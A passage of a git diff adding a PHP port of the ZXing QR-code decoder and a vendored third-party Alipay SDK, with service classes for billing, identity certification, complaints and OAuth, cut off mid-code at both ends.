$numSqrtArea; $i2++) { + $minmax[$i][$i2] = [0, 0]; + } + } + for ($ay = 0; $ay < $numSqrtArea; $ay++) { + for ($ax = 0; $ax < $numSqrtArea; $ax++) { + $minmax[$ax][$ay][0] = 0xFF; + for ($dy = 0; $dy < $areaHeight; $dy++) { + for ($dx = 0; $dx < $areaWidth; $dx++) { + $target = $image[(int)($areaWidth * $ax + $dx + ($areaHeight * $ay + $dy) * $this->dataWidth)]; + if ($target < $minmax[$ax][$ay][0]) + $minmax[$ax][$ay][0] = $target; + if ($target > $minmax[$ax][$ay][1]) + $minmax[$ax][$ay][1] = $target; + } + } + //minmax[ax][ay][0] = (minmax[ax][ay][0] + minmax[ax][ay][1]) / 2; + } + } + $middle = []; + for ($i3 = 0; $i3 < $numSqrtArea; $i3++) { + $middle[$i3] = []; + } + for ($ay = 0; $ay < $numSqrtArea; $ay++) { + for ($ax = 0; $ax < $numSqrtArea; $ax++) { + $middle[$ax][$ay] = floor(($minmax[$ax][$ay][0] + $minmax[$ax][$ay][1]) / 2); + //Console.out.print(middle[ax][ay] + ","); + } + //Console.out.println(""); + } + + //Console.out.println(""); + + return $middle; + } + +//@Override + public function getRow($y, $row = null) + { + if ($y < 0 || $y >= $this->getHeight()) { + throw new \InvalidArgumentException("Requested row is outside the image: " + y); + } + $width = $this->getWidth(); + if ($row == null || count($row) < $width) { + $row = []; + } + $offset = ($y + $this->top) * $this->dataWidth + $this->left; + $row = arraycopy($this->luminances, $offset, $row, 0, $width); + + return $row; + } + +//@Override + public function getMatrix() + { + $width = $this->getWidth(); + $height = $this->getHeight(); + +// If the caller asks for the entire underlying image, save the copy and give them the +// original data. The docs specifically warn that result.length must be ignored. + if ($width == $this->dataWidth && $height == $this->dataHeight) { + return $this->luminances; + } + + $area = $width * $height; + $matrix = []; + $inputOffset = $this->top * $this->dataWidth + $this->left; + +// If the width matches the full width of the underlying data, perform a single copy. + if ($width == $this->dataWidth) { + $matrix = arraycopy($this->luminances, $inputOffset, $matrix, 0, $area); + + return $matrix; + } + +// Otherwise copy one cropped row at a time. + $rgb = $this->luminances; + for ($y = 0; $y < $height; $y++) { + $outputOffset = $y * $width; + $matrix = arraycopy($rgb, $inputOffset, $matrix, $outputOffset, $width); + $inputOffset += $this->dataWidth; + } + + return $matrix; + } + +//@Override + public function isCropSupported() + { + return true; + } + +//@Override + public function crop($left, $top, $width, $height) + { + return new RGBLuminanceSource($this->luminances, + $this->dataWidth, + $this->dataHeight, + $this->left + $left, + $this->top + $top, + $width, + $height); + } +} diff --git a/includes/qrcodedecoder/Zxing/Reader.php b/includes/qrcodedecoder/Zxing/Reader.php new file mode 100644 index 0000000..cc18ccc --- /dev/null +++ b/includes/qrcodedecoder/Zxing/Reader.php @@ -0,0 +1,10 @@ +Encapsulates the result of decoding a barcode within an image.

    + * + * @author Sean Owen + */ +final class Result +{ + private $text; + private $rawBytes; + private $resultPoints; + private $format; + private $resultMetadata; + private $timestamp; + + public function __construct( + $text, + $rawBytes, + $resultPoints, + $format, + $timestamp = '' + ) { + + $this->text = $text; + $this->rawBytes = $rawBytes; + $this->resultPoints = $resultPoints; + $this->format = $format; + $this->resultMetadata = null; + $this->timestamp = $timestamp ?: time(); + } + + /** + * @return raw text encoded by the barcode + */ + public function getText() + { + return $this->text; + } + + /** + * @return raw bytes encoded by the barcode, if applicable, otherwise {@code null} + */ + public function getRawBytes() + { + return $this->rawBytes; + } + + /** + * @return points related to the barcode in the image. These are typically points + * identifying finder patterns or the corners of the barcode. The exact meaning is + * specific to the type of barcode that was decoded. + */ + public function getResultPoints() + { + return $this->resultPoints; + } + + /** + * @return {@link BarcodeFormat} representing the format of the barcode that was decoded + */ + public function getBarcodeFormat() + { + return $this->format; + } + + /** + * @return {@link Map} mapping {@link ResultMetadataType} keys to values. May be + * {@code null}. This contains optional metadata about what was detected about the barcode, + * like orientation. + */ + public function getResultMetadata() + { + return $this->resultMetadata; + } + + public function putMetadata($type, $value) + { + if ($this->resultMetadata === null) { + $this->resultMetadata = []; + } + $resultMetadata[$type] = $value; + } + + public function putAllMetadata($metadata) + { + if ($metadata !== null) { + if ($this->resultMetadata === null) { + $this->resultMetadata = $metadata; + } else { + $this->resultMetadata = array_merge($this->resultMetadata, $metadata); + } + } + } + + public function addResultPoints($newPoints) + { + $oldPoints = $this->resultPoints; + if ($oldPoints === null) { + $this->resultPoints = $newPoints; + } else if ($newPoints !== null && count($newPoints) > 0) { + $allPoints = fill_array(0, count($oldPoints) + count($newPoints), 0); + $allPoints = arraycopy($oldPoints, 0, $allPoints, 0, count($oldPoints)); + $allPoints = arraycopy($newPoints, 0, $allPoints, count($oldPoints), count($newPoints)); + $this->resultPoints = $allPoints; + } + } + + public function getTimestamp() + { + return $this->timestamp; + } + + public function toString() + { + return $this->text; + } +} diff --git a/includes/qrcodedecoder/Zxing/ResultPoint.php b/includes/qrcodedecoder/Zxing/ResultPoint.php new file mode 100644 index 0000000..f0720b3 --- /dev/null +++ b/includes/qrcodedecoder/Zxing/ResultPoint.php @@ -0,0 +1,155 @@ +Encapsulates a point of interest in an image containing a barcode. Typically, this + * would be the location of a finder pattern or the corner of the barcode, for example.

    + * + * @author Sean Owen + */ +class ResultPoint +{ + private $x; + private $y; + + public function __construct($x, $y) + { + $this->x = (float)($x); + $this->y = (float)($y); + } + + /** + * Orders an array of three ResultPoints in an order [A,B,C] such that AB is less than AC + * and BC is less than AC, and the angle between BC and BA is less than 180 degrees. + * + * @param patterns array of three {@code ResultPoint} to order + */ + public static function orderBestPatterns($patterns) + { + +// Find distances between pattern centers + $zeroOneDistance = self::distance($patterns[0], $patterns[1]); + $oneTwoDistance = self::distance($patterns[1], $patterns[2]); + $zeroTwoDistance = self::distance($patterns[0], $patterns[2]); + + $pointA = ''; + $pointB = ''; + $pointC = ''; +// Assume one closest to other two is B; A and C will just be guesses at first + if ($oneTwoDistance >= $zeroOneDistance && $oneTwoDistance >= $zeroTwoDistance) { + $pointB = $patterns[0]; + $pointA = $patterns[1]; + $pointC = $patterns[2]; + } else if ($zeroTwoDistance >= $oneTwoDistance && $zeroTwoDistance >= $zeroOneDistance) { + $pointB = $patterns[1]; + $pointA = $patterns[0]; + $pointC = $patterns[2]; + } else { + $pointB = $patterns[2]; + $pointA = $patterns[0]; + $pointC = $patterns[1]; + } + +// Use cross product to figure out whether A and C are correct or flipped. +// This asks whether BC x BA has a positive z component, which is the arrangement +// we want for A, B, C. If it's negative, then we've got it flipped around and +// should swap A and C. + if (self::crossProductZ($pointA, $pointB, $pointC) < 0.0) { + $temp = $pointA; + $pointA = $pointC; + $pointC = $temp; + } + + $patterns[0] = $pointA; + $patterns[1] = $pointB; + $patterns[2] = $pointC; + + return $patterns; + } + + /** + * @param pattern1 first pattern + * @param pattern2 second pattern + * + * @return distance between two points + */ + public static function distance($pattern1, $pattern2) + { + return MathUtils::distance($pattern1->x, $pattern1->y, $pattern2->x, $pattern2->y); + } + +//@Override + + /** + * Returns the z component of the cross product between vectors BC and BA. + */ + private static function crossProductZ($pointA, + $pointB, + $pointC) + { + $bX = $pointB->x; + $bY = $pointB->y; + + return (($pointC->x - $bX) * ($pointA->y - $bY)) - (($pointC->y - $bY) * ($pointA->x - $bX)); + } + +//@Override + + public final function getX() + { + return (float)($this->x); + } + +//@Override + + public final function getY() + { + return (float)($this->y); + } + + public final function equals($other) + { + if ($other instanceof ResultPoint) { + $otherPoint = $other; + + return $this->x == $otherPoint->x && $this->y == $otherPoint->y; + } + + return false; + } + + public final function hashCode() + { + return 31 * floatToIntBits($this->x) + floatToIntBits($this->y); + } + + public final function toString() + { + $result = ''; + $result .= ('('); + $result .= ($this->x); + $result .= (','); + $result .= ($this->y); + $result .= (')'); + + return $result; + } +} diff --git a/includes/qrcodedecoder/bootstrap.php b/includes/qrcodedecoder/bootstrap.php new file mode 100644 index 0000000..00ebaba --- /dev/null +++ b/includes/qrcodedecoder/bootstrap.php @@ -0,0 +1,11 @@ += 7.1 + +### 使用方法 + +1. Composer 安装。 + + ```bash + composer require cccyun/alipay-sdk + ``` + +2. 创建配置文件 [`config.php`](./examples/config.php),填写配置信息。 + +3. 引入配置文件,构造请求参数,调用AlipayTradeService中的方法发起请求,参考 [`examples/qrpay.php`](./examples/qrpay.php) + +4. 更多实例,请移步 [`examples`](examples/) 目录。 + +5. AlipayService实现类功能说明 + + | 类名 | 说明 | + | --------------------- | -------------------------------------------------------- | + | AlipayTradeService | 支付宝交易功能,基本上所有支付产品都用这个 | + | AlipayOauthService | 支付宝快捷登录功能,用于JS支付快捷登录以及第三方应用授权 | + | AlipaySettleService | 支付宝分账功能 | + | AlipayTransferService | 支付宝转账功能 | + | AlipayComplainService | 支付宝交易投诉处理 | + | AlipayCertifyService | 支付宝身份认证 | + | AlipayCertdocService | 支付宝实名证件信息比对验证 | + | AlipayBillService | 支付宝账单功能 | + +6. 要对接的API在AlipayService实现类中没有,可根据支付宝官方的文档,使用AlipayService类中的aopExecute方法直接调用接口,参考 [`examples/other.php`](./examples/other.php) + + + diff --git a/includes/vendor/cccyun/alipay-sdk/composer.json b/includes/vendor/cccyun/alipay-sdk/composer.json new file mode 100644 index 0000000..abbbb5b --- /dev/null +++ b/includes/vendor/cccyun/alipay-sdk/composer.json @@ -0,0 +1,26 @@ +{ + "name": "cccyun/alipay-sdk", + "description": "支付宝开放平台第三方 PHP SDK,基于官方最新版本,支持公钥和公钥证书2种模式。", + "type": "library", + "keywords": [ + "alipay", + "支付宝" + ], + "license": "MIT", + "minimum-stability": "dev", + "prefer-stable": true, + "require": { + "php": ">=7.1" + }, + "authors": [ + { + "name": "caihong", + "email": "admin@cccyun.cn" + } + ], + "autoload": { + "psr-4": { + "Alipay\\": "src/" + } + } +} diff --git a/includes/vendor/cccyun/alipay-sdk/src/AlipayBillService.php b/includes/vendor/cccyun/alipay-sdk/src/AlipayBillService.php new file mode 100644 index 0000000..99deeb4 --- /dev/null +++ b/includes/vendor/cccyun/alipay-sdk/src/AlipayBillService.php @@ -0,0 +1,146 @@ + $start_time, + 'end_time' => $end_time, + 'page_no' => $page_no, + 'page_size' => $page_size, + ]; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 账户买入交易查询 + * @param string $start_time 创建时间的起始 + * @param string $end_time 创建时间的结束 + * @param int $page_no 分页号,从1开始 + * @param int $page_size 分页大小1000-2000,默认2000 + * @return mixed {"page_no":"1","page_size":"2000","total_size":"10000","detail_list":[]} + * @throws Exception + */ + public function buyQuery(string $start_time, string $end_time, int $page_no = 1, int $page_size = 2000) + { + $apiName = 'alipay.data.bill.buy.query'; + $bizContent = [ + 'start_time' => $start_time, + 'end_time' => $end_time, + 'page_no' => $page_no, + 'page_size' => $page_size, + ]; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 账户账务明细查询 + * @param string $start_time 创建时间的起始 + * @param string $end_time 创建时间的结束 + * @param int $page_no 分页号,从1开始 + * @param int $page_size 分页大小1000-2000,默认2000 + * @param null $bill_user_id 指定用户做账单查询 + * @return mixed {"page_no":"1","page_size":"2000","total_size":"10000","detail_list":[]} + * @throws Exception + */ + public function accountlogQuery(string $start_time, string $end_time, int $page_no = 1, int $page_size = 2000, $bill_user_id = null) + { + $apiName = 'alipay.data.bill.accountlog.query'; + $bizContent = [ + 'start_time' => $start_time, + 'end_time' => $end_time, + 'page_no' => $page_no, + 'page_size' => $page_size, + ]; + if ($bill_user_id) $bizContent['bill_user_id'] = $bill_user_id; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 账户充值,转账,提现查询 + * @param string $start_time 创建时间的起始 + * @param string $end_time 创建时间的结束 + * @param int $page_no 分页号,从1开始 + * @param int $page_size 分页大小1000-2000,默认2000 + * @return mixed {"page_no":"1","page_size":"2000","total_size":"10000","detail_list":[]} + * @throws Exception + */ + public function transferQuery(string $start_time, string $end_time, int $page_no = 1, int $page_size = 2000) + { + $apiName = 'alipay.data.bill.transfer.query'; + $bizContent = [ + 'start_time' => $start_time, + 'end_time' => $end_time, + 'page_no' => $page_no, + 'page_size' => $page_size, + ]; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 账户当前余额查询 + * @return mixed {"total_amount":"支付宝账户余额","available_amount":"账户可用余额","freeze_amount":"冻结金额","settle_amount":"待结算金额"} + * @throws Exception + */ + public function balanceQuery() + { + $apiName = 'alipay.data.bill.balance.query'; + return $this->aopExecute($apiName); + } + + /** + * 申请电子回单 + * @param string $type 申请的类型 + * @param string $key 根据不同业务类型,传入不同参数 + * @return mixed {"file_id":"文件申请号"} + * @throws Exception + */ + public function ereceiptApply(string $type, string $key) + { + $apiName = 'alipay.data.bill.ereceipt.apply'; + $bizContent = [ + 'type' => $type, + 'key' => $key, + ]; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 查询电子回单状态 + * @param string $file_id 文件申请号 + * @return mixed {"status":"处理状态","download_url":"下载链接","error_message":"失败原因"} + * @throws Exception + */ + public function ereceiptQuery(string $file_id) + { + $apiName = 'alipay.data.bill.ereceipt.query'; + $bizContent = [ + 'file_id' => $file_id + ]; + return $this->aopExecute($apiName, $bizContent); + } +} \ No newline at end of file diff --git a/includes/vendor/cccyun/alipay-sdk/src/AlipayCertdocService.php b/includes/vendor/cccyun/alipay-sdk/src/AlipayCertdocService.php new file mode 100644 index 0000000..ba1fe39 --- /dev/null +++ b/includes/vendor/cccyun/alipay-sdk/src/AlipayCertdocService.php @@ -0,0 +1,105 @@ + $cert_name, //真实姓名 + 'cert_type' => 'IDENTITY_CARD', //证件类型 + 'cert_no' => $cert_no + ); + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 实名证件信息比对验证咨询 + * @param string $verify_id 申请验证ID + * @param string $auth_token 用户授权令牌 + * @return mixed {"code":"10000","msg":"Success","passed":"F","fail_reason":"姓名不一致","fail_params":"[\\\"user_name\\\"]"} + * @throws Exception + */ + public function consult(string $verify_id, string $auth_token) + { + $apiName = 'alipay.user.certdoc.certverify.consult'; + $bizContent = array( + 'verify_id' => $verify_id, + ); + $params = [ + 'auth_token' => $auth_token + ]; + return $this->aopExecute($apiName, $bizContent, $params); + } + + /** + * 跳转支付宝授权页面 + * @param string $redirect_uri 回调地址 + * @param string $verify_id 申请验证ID + * @param $state + * @param bool $is_get_url 是否只返回url + * @return void|string + */ + public function oauth(string $redirect_uri, string $verify_id, $state = null, bool $is_get_url = false) + { + $param = [ + 'app_id' => $this->appId, + 'scope' => 'id_verify', + 'redirect_uri' => $redirect_uri, + 'cert_verify_id' => $verify_id + ]; + if($state) $param['state'] = $state; + + $url = 'https://openauth.alipay.com/oauth2/publicAppAuthorize.htm?'.http_build_query($param); + + if ($is_get_url) { + return $url; + } + + header("Location: $url"); + exit(); + } + + /** + * 换取授权访问令牌 + * @param string $code 授权码或刷新令牌 + * @param string $grant_type 授权方式(authorization_code,refresh_token) + * @return mixed {"user_id":"支付宝用户的唯一标识","open_id":"支付宝用户的唯一标识","access_token":"访问令牌","expires_in":"3600","refresh_token":"刷新令牌","re_expires_in":"3600"} + * @throws Exception + */ + public function getToken(string $code, string $grant_type = 'authorization_code') + { + $apiName = 'alipay.system.oauth.token'; + $params = []; + $params['grant_type'] = $grant_type; + if($grant_type == 'refresh_token'){ + $params['refresh_token'] = $code; + }else{ + $params['code'] = $code; + } + return $this->aopExecute($apiName, null, $params); + } +} \ No newline at end of file diff --git a/includes/vendor/cccyun/alipay-sdk/src/AlipayCertifyService.php b/includes/vendor/cccyun/alipay-sdk/src/AlipayCertifyService.php new file mode 100644 index 0000000..963c3c9 --- /dev/null +++ b/includes/vendor/cccyun/alipay-sdk/src/AlipayCertifyService.php @@ -0,0 +1,83 @@ +return_url = $config['return_url']; + } + + /** + * 身份认证初始化服务 + * @param string $outer_order_no 商户请求的唯一标识 + * @param string $cert_name 真实姓名 + * @param string $cert_no 证件号码 + * @param string $cert_type 证件类型 + * @param string $biz_code 认证场景码(FACE、SMART_FACE) + * @return mixed {"code":"10000","msg":"Success","certify_id":"本次申请操作的唯一标识"} + * + * @throws Exception + * @see https://opendocs.alipay.com/open/02ahjy + */ + public function initialize(string $outer_order_no, string $cert_name, string $cert_no, string $cert_type = 'IDENTITY_CARD', string $biz_code = 'SMART_FACE') + { + $apiName = 'alipay.user.certify.open.initialize'; + $bizContent = [ + 'outer_order_no' => $outer_order_no, //商户请求的唯一标识 + 'biz_code' => $biz_code, //认证场景码 + 'identity_param' => [ + 'identity_type' => 'CERT_INFO', //身份信息参数类型 + 'cert_type' => $cert_type, //证件类型 + 'cert_name' => $cert_name, //真实姓名 + 'cert_no' => $cert_no, //证件号码 + ], + 'merchant_config' => ['return_url'=>$this->return_url], //商户个性化配置 + ]; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 身份认证开始认证 + * @param string $certify_id 本次申请操作的唯一标识 + * @return string html表单 + * @throws Exception + */ + public function certify(string $certify_id): string + { + $apiName = 'alipay.user.certify.open.certify'; + $bizContent = array( + 'certify_id' => $certify_id, + ); + return $this->aopPageExecute($apiName, $bizContent); + } + + /** + * 身份认证记录查询 + * @param string $certify_id 本次申请操作的唯一标识 + * @return mixed {"code":"10000","msg":"Success","passed":"T"} + * @throws Exception + */ + public function query(string $certify_id) + { + $apiName = 'alipay.user.certify.open.query'; + $bizContent = array( + 'certify_id' => $certify_id, + ); + return $this->aopExecute($apiName, $bizContent); + } +} \ No newline at end of file diff --git a/includes/vendor/cccyun/alipay-sdk/src/AlipayComplainService.php b/includes/vendor/cccyun/alipay-sdk/src/AlipayComplainService.php new file mode 100644 index 0000000..e8fcbe8 --- /dev/null +++ b/includes/vendor/cccyun/alipay-sdk/src/AlipayComplainService.php @@ -0,0 +1,216 @@ + $complain_event_id, + ]; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 查询交易投诉列表 + * @param string|null $status 状态 + * @param string|null $begin_time 查询开始时间 + * @param string|null $end_time 查询结束时间 + * @param int $page_num 当前页 + * @param int $page_size 每页条数,最多支持20条 + * @return mixed {"page_size":10,"page_num":1,"total_page_num":5,"total_num":55,"trade_complain_infos":[]} + * @throws Exception + */ + public function batchQuery(string $status = null, string $begin_time = null, string $end_time = null, int $page_num = 1, int $page_size = 10) + { + $apiName = 'alipay.merchant.tradecomplain.batchquery'; + $bizContent = [ + 'page_num' => $page_num, + 'page_size' => $page_size, + ]; + if ($status) $bizContent['status'] = $status; + if ($begin_time) $bizContent['begin_time'] = $begin_time; + if ($end_time) $bizContent['end_time'] = $end_time; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 商户上传处理图片 + * @param string $file_path 文件路径 + * @param string $file_name 文件名 + * @return string 图片资源标识 + * @throws Exception + */ + public function imageUpload(string $file_path, string $file_name): string + { + $image_type = array_pop(explode('.',$file_name)); + if (empty($image_type)) $image_type = 'png'; + $apiName = 'alipay.merchant.image.upload'; + $params = [ + 'image_type' => $image_type, + 'image_content' => new \CURLFile($file_path, '', $file_name), + ]; + $result = $this->aopExecute($apiName, null, $params); + return $result['image_id']; + } + + /** + * 商家处理交易投诉 + * @param string $complain_event_id 投诉单号 + * @param string $feedback_code 反馈类目ID + * @param string $feedback_content 反馈内容 + * @param string|null $feedback_images 反馈图片id列表(多个用逗号隔开) + * @return bool + * @throws Exception + */ + public function feedbackSubmit(string $complain_event_id, string $feedback_code, string $feedback_content, string $feedback_images = null): bool + { + $apiName = 'alipay.merchant.tradecomplain.feedback.submit'; + $bizContent = [ + 'complain_event_id' => $complain_event_id, + 'feedback_code' => $feedback_code, + 'feedback_content' => $feedback_content, + ]; + if ($feedback_images) $bizContent['feedback_images'] = $feedback_images; + $this->aopExecute($apiName, $bizContent); + return true; + } + + /** + * 商家留言回复 + * @param string $complain_event_id 投诉单号 + * @param string $reply_content 回复内容 + * @param string|null $reply_images 回复图片(多个用逗号隔开) + * @return bool + * @throws Exception + */ + public function replySubmit(string $complain_event_id, string $reply_content, string $reply_images = null): bool + { + $apiName = 'alipay.merchant.tradecomplain.reply.submit'; + $bizContent = [ + 'complain_event_id' => $complain_event_id, + 'reply_content' => $reply_content, + ]; + if ($reply_images) $bizContent['reply_images'] = $reply_images; + $this->aopExecute($apiName, $bizContent); + return true; + } + + /** + * 商家补充凭证 + * @param string $complain_event_id 投诉单号 + * @param string $supplement_content 文字凭证 + * @param string|null $supplement_images 图片凭证(多个用逗号隔开) + * @return bool + * @throws Exception + */ + public function supplementSubmit(string $complain_event_id, string $supplement_content, string $supplement_images = null): bool + { + $apiName = 'alipay.merchant.tradecomplain.supplement.submit'; + $bizContent = [ + 'complain_event_id' => $complain_event_id, + 'supplement_content' => $supplement_content, + ]; + if ($supplement_images) $bizContent['supplement_images'] = $supplement_images; + $this->aopExecute($apiName, $bizContent); + return true; + } + + + /** + * RiskGO查询单条交易投诉详情 + * @param string $complain_id 支付宝侧投诉单号 + * @return mixed + * @throws Exception + */ + public function riskquery(string $complain_id) + { + $apiName = 'alipay.security.risk.complaint.info.query'; + $bizContent = [ + 'complain_id' => $complain_id, + ]; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * RiskGO查询交易投诉列表 + * @param string|null $status 状态 + * @param string|null $begin_time 查询开始时间 + * @param string|null $end_time 查询结束时间 + * @param int $page_num 当前页 + * @param int $page_size 每页条数,最多支持20条 + * @return mixed {"page_size":10,"page_num":1,"total_page_num":5,"total_num":55,"trade_complain_infos":[]} + * @throws Exception + */ + public function riskbatchQuery(string $status = null, string $begin_time = null, string $end_time = null, int $page_num = 1, int $page_size = 10) + { + $apiName = 'alipay.security.risk.complaint.info.batchquery'; + $bizContent = [ + 'current_page_num' => $page_num, + 'page_size' => $page_size, + ]; + if ($status) $bizContent['status_list'] = [$status]; + if ($begin_time) $bizContent['begin_time'] = $begin_time; + if ($end_time) $bizContent['end_time'] = $end_time; + return $this->aopExecute($apiName, $bizContent); + } + + /** + * RiskGO商户上传处理图片 + * @param string $file_path 文件路径 + * @param string $file_name 文件名 + * @return mixed 图片资源标识 + * @throws Exception + */ + public function riskimageUpload(string $file_path, string $file_name) + { + $apiName = 'alipay.security.risk.complaint.file.upload'; + $params = [ + 'file_content' => new \CURLFile($file_path, '', $file_name), + ]; + return $this->aopExecute($apiName, null, $params); + } + + /** + * RiskGO商家处理交易投诉 + * @param string $complain_id 投诉单号 + * @param string $process_code 投诉处理结果码 + * @param string $remark 备注 + * @param array|null $img_file_list 图片文件列表 + * @return bool + * @throws Exception + */ + public function riskfeedbackSubmit(string $complain_id, string $process_code, string $remark, array $img_file_list = null): bool + { + $apiName = 'alipay.security.risk.complaint.process.finish'; + $bizContent = [ + 'id_list' => [$complain_id], + 'process_code' => $process_code, + 'remark' => $remark + ]; + if ($img_file_list) $bizContent['img_file_list'] = $img_file_list; + $result = $this->aopExecute($apiName, $bizContent); + return $result['complaint_process_success']; + } + +} \ No newline at end of file diff --git a/includes/vendor/cccyun/alipay-sdk/src/AlipayOauthService.php b/includes/vendor/cccyun/alipay-sdk/src/AlipayOauthService.php new file mode 100644 index 0000000..a50297e --- /dev/null +++ b/includes/vendor/cccyun/alipay-sdk/src/AlipayOauthService.php @@ -0,0 +1,198 @@ + $this->appId, + 'scope' => $scope, + 'redirect_uri' => $redirect_uri, + ]; + if($state) $param['state'] = $state; + + $url = 'https://openauth.alipay.com/oauth2/publicAppAuthorize.htm?'.http_build_query($param); + + if ($is_get_url) { + return $url; + } + + header("Location: $url"); + exit(); + } + + /** + * 换取授权访问令牌 + * @param string $code 授权码或刷新令牌 + * @param string $grant_type 授权方式(authorization_code,refresh_token) + * @return mixed {"user_id":"支付宝用户的唯一标识","open_id":"支付宝用户的唯一标识","access_token":"访问令牌","expires_in":"3600","refresh_token":"刷新令牌","re_expires_in":"3600"} + * @throws Exception + */ + public function getToken(string $code, string $grant_type = 'authorization_code') + { + $apiName = 'alipay.system.oauth.token'; + $params = []; + $params['grant_type'] = $grant_type; + if($grant_type == 'refresh_token'){ + $params['refresh_token'] = $code; + }else{ + $params['code'] = $code; + } + return $this->aopExecute($apiName, null, $params); + } + + /** + * 支付宝会员授权信息查询 + * @param string $accessToken 用户授权令牌 + * @return mixed {"code":"10000","msg":"Success","user_id":"支付宝用户的userId","avatar":"用户头像地址","city":"市名称","nick_name":"用户昵称","province":"省份名称","gender":"性别MF"} + * @throws Exception + */ + public function userinfo(string $accessToken) + { + $apiName = 'alipay.user.info.share'; + $params = [ + 'auth_token' => $accessToken + ]; + + return $this->aopExecute($apiName, null, $params); + } + + + /** + * 跳转支付宝第三方应用授权页面 + * @param string $redirect_uri 回调地址 + * @param $state + * @param bool $is_get_url 是否只返回url + * @return void|string + */ + public function appOauth(string $redirect_uri, $state = null, bool $is_get_url = false) + { + $param = [ + 'app_id' => $this->appId, + 'redirect_uri' => $redirect_uri, + ]; + if($state) $param['state'] = $state; + + $url = 'https://openauth.alipay.com/oauth2/appToAppAuth.htm?'.http_build_query($param); + + if ($is_get_url) { + return $url; + } + + header("Location: $url"); + exit(); + } + + /** + * 跳转支付宝指定应用授权页面 + * @param string $redirect_uri 回调地址 + * @param array $app_types 对商家应用的限制类型 + * @param $state + * @return array [PC端url, APP端url] + */ + public function appOauthAssign(string $redirect_uri, array $app_types, $state = null): array + { + $param = [ + 'platformCode' => 'O', + 'taskType' => 'INTERFACE_AUTH', + 'agentOpParam' => [ + 'redirectUri' => $redirect_uri, + 'appTypes' => $app_types, + 'isvAppId' => $this->appId, + 'state' => $state + ], + ]; + + $biz_data = json_encode($param, JSON_UNESCAPED_SLASHES|JSON_UNESCAPED_UNICODE); + $pc_url = 'https://b.alipay.com/page/message/tasksDetail?bizData='.rawurlencode($biz_data); + $app_url = 'alipays://platformapi/startapp?appId=2021003130652097&page=pages%2Fauthorize%2Findex%3FbizData%3D'.rawurlencode($biz_data); + + return [$pc_url, $app_url]; + } + + /** + * 换取授权访问令牌 + * @param string $code 授权码或刷新令牌 + * @param string $grant_type 授权方式(authorization_code,refresh_token) + * @return mixed {"user_id":"授权商户的user_id","auth_app_id":"授权商户的appid","app_auth_token":"应用授权令牌","app_refresh_token":"刷新令牌","re_expires_in":"3600"} + * @throws Exception + */ + public function getAppToken(string $code, string $grant_type = 'authorization_code') + { + $apiName = 'alipay.open.auth.token.app'; + $bizContent = [ + 'grant_type' => $grant_type, + ]; + if($grant_type == 'refresh_token'){ + $bizContent['refresh_token'] = $code; + }else{ + $bizContent['code'] = $code; + } + return $this->aopExecute($apiName, $bizContent); + } + + /** + * 查询授权商家信息 + * @param string $appAuthToken 应用授权令牌 + * @return mixed {"user_id":"授权商户的user_id","auth_app_id":"授权商户的appid","expires_in":31536000,"auth_methods":[],"auth_start":"授权生效时间","auth_end":"授权失效时间","status":"valid/invalid","is_by_app_auth":true} + * @throws Exception + */ + public function appQuery(string $appAuthToken) + { + $apiName = 'alipay.open.auth.token.app.query'; + $bizContent = [ + 'app_auth_token' => $appAuthToken, + ]; + return $this->aopExecute($apiName, $bizContent); + } + + public function decryptMobile(array $response, string $key) + { + if(is_string($response['response'])){ + /*if(!$this->client->rsaPubilcVerify('"'.$response['response'].'"', $response['sign'])){ + throw new Exception('手机号码数据验签失败'); + }*/ + $data = $this->client->aesDecrypt($response['response'], $key); + if(!$data) { + throw new Exception('手机号码数据解密失败'); + } + $result = json_decode($data, true); + if($result['code'] == '10000'){ + return $result['mobile']; + }elseif(isset($result['subMsg'])){ + throw new Exception($result['subMsg']); + }else{ + throw new Exception('手机号码数据解密失败 '.$result['msg']); + } + }elseif(isset($response['response']['subCode']) && isset($response['response']['subMsg'])){ + throw new Exception('['.$response['response']['subCode'].']'.$response['response']['subMsg']); + }else{ + throw new Exception('手机号码加密数据错误'); + } + } +} \ No newline at end of file diff --git a/includes/vendor/cccyun/alipay-sdk/src/AlipayService.php b/includes/vendor/cccyun/alipay-sdk/src/AlipayService.php new file mode 100644 index 0000000..6197e9d --- /dev/null +++ b/includes/vendor/cccyun/alipay-sdk/src/AlipayService.php @@ -0,0 +1,197 @@ +appId = $config['app_id']; + if (!empty($config['app_cert_path']) && !empty($config['alipay_cert_path']) && !empty($config['root_cert_path']) && (!isset($config['cert_mode']) || $config['cert_mode'] == 1)) { + $this->isCertMode = true; + } + if (isset($config['app_auth_token'])) { + $this->appAuthToken = $config['app_auth_token']; + } + if (isset($config['logPath'])) { + $this->logPath = $config['logPath']; + } + if (isset($config['pageMethod'])) { + $this->pageMethod = $config['pageMethod']; + } + + $this->client = new AopClient(); + $this->client->appId = $config['app_id']; + if (!empty($config['gateway_url'])) { + $this->client->gatewayUrl = $config['gateway_url']; + } + if (!empty($config['sign_type'])) { + $this->client->signType = $config['sign_type']; + } + if (!empty($config['charset'])) { + $this->client->charset = $config['charset']; + } + + $this->client->rsaPrivateKey = $config['app_private_key']; + if ($this->isCertMode) { + $this->client->rsaPublicKeyFilePath = $config['alipay_cert_path']; + $this->client->appCertSN = AlipayCertHelper::getCertSN($config['app_cert_path']); + $this->client->alipayRootCertSN = AlipayCertHelper::getRootCertSN($config['root_cert_path']); + } else { + $this->client->rsaPublicKey = $config['alipay_public_key']; + } + + } + + /** + * 发起接口请求 + * + * @param string $apiName 接口名称 + * @param array|null $bizContent 请求参数的集合 + * @param array|null $params 其他公共参数 + * @return mixed + * @throws Exception + */ + public function aopExecute(string $apiName, array $bizContent = null, array $params = null) + { + $request = new AlipayRequest(); + $request->setApiMethodName($apiName); + $request->setNotifyUrl($this->notifyUrl); + $request->setAppAuthToken($this->appAuthToken); + $request->setBizContent($bizContent); + if (is_array($params) && count($params) > 0) { + $request->setOtherParams($params); + } + $result = $this->client->execute($request)->getData(); + if ($apiName == 'alipay.system.oauth.token' && isset($result['access_token'])) { + return $result; + } elseif (isset($result['code']) && $result['code'] == '10000') { + return $result; + } else { + throw new 